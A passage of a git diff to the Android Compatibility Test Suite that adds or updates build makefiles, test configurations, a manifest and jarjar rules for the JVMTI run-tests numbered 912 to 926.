+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsJvmtiRunTest912DeviceApp.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsJvmtiRunTest912HostTestCases.jar" />
+ <option name="set-option" value="test-file-name:CtsJvmtiRunTest912DeviceApp.apk" />
+ <option name="set-option" value="package-name:android.jvmti.cts.run_test_912" />
+ <option name="runtime-hint" value="8s"/>
+ </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.mk b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
new file mode 100644
index 0000000..dad7eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest912DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
new file mode 100644
index 0000000..d689692
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jvmti.cts.run_test_912">
+
+ <application android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+ <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="912" />
+ <activity android:name="android.jvmti.JvmtiActivity" >
+ </activity>
+ </application>
+
+ <!-- self-instrumenting test package. -->
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for JVMTI"
+ android:targetPackage="android.jvmti.cts.run_test_912" >
+ </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
new file mode 100644
index 0000000..357b05e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest912@1
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
index 8075fe2..d54985d 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
index 7655d03..7dff2cf 100644
--- a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest913HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest913DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_913" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
index 03cb328..a43ad90 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
new file mode 100644
index 0000000..735418d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest913@1
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.mk b/hostsidetests/jvmti/run-tests/test-914/Android.mk
index 5f7ddee..51b1022 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest914HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
index 15e58ee..f6ca1e7 100644
--- a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest914HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest914DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_914" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
index c294d56..3b3d7bf 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
new file mode 100644
index 0000000..db77ad0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest914@1
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.mk b/hostsidetests/jvmti/run-tests/test-915/Android.mk
index 2e2e438..961c4cc 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest915HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
index dbe9df0..b8e03bf 100644
--- a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest915HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest915DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_915" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
index d712a74..ac85b08 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
new file mode 100644
index 0000000..650ee3c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest915@1
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.mk b/hostsidetests/jvmti/run-tests/test-917/Android.mk
index 1e84675..8cf73fc 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest917HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
index 04a515b..0098aef 100644
--- a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest917HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest917DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_917" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
index 8b87082..964fa9a 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
new file mode 100644
index 0000000..de3b6cc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest917@1
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.mk b/hostsidetests/jvmti/run-tests/test-918/Android.mk
index 5d6f8d0..497f86c 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest918HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
index e4fc0eb..78f0927 100644
--- a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest918HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest918DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_918" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
index 30f9597..9274386 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
new file mode 100644
index 0000000..0635cae
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest918@1
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.mk b/hostsidetests/jvmti/run-tests/test-919/Android.mk
index 8916d6e..640f3d6 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest919HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
index 39f464a..d23c3fc 100644
--- a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest919HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest919DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_919" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
index a9b7089..230d936 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
new file mode 100644
index 0000000..69ffbde
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest919@1
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.mk b/hostsidetests/jvmti/run-tests/test-920/Android.mk
index f92ed94..3029742 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest920HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
index 5d33072..ff574cc 100644
--- a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest920HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest920DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_920" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
index a24d668..ee861f2 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
new file mode 100644
index 0000000..a819464
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest920@1
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.mk b/hostsidetests/jvmti/run-tests/test-922/Android.mk
index 2de665a..bf10341 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest922HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
index eb1cae9..6c9f7dc 100644
--- a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest922HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest922DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_922" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
index ada0edc..70843f5 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
new file mode 100644
index 0000000..9334c2d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest922@1
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.mk b/hostsidetests/jvmti/run-tests/test-923/Android.mk
index dd1de3c..fd2d6f8 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest923HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
index c1977d6..cae6301 100644
--- a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest923HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest923DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_923" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
index c94d431..b638272 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
new file mode 100644
index 0000000..5054eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest923@1
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.mk b/hostsidetests/jvmti/run-tests/test-924/Android.mk
index 28c4b89..4b917d8 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest924HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
index 3424b6b..35bea67 100644
--- a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest924HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest924DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_924" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
index f1acfd0..7136929 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
new file mode 100644
index 0000000..86780fc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest924@1
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.mk b/hostsidetests/jvmti/run-tests/test-926/Android.mk
index fcd46ad..9e0ffe1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest926HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
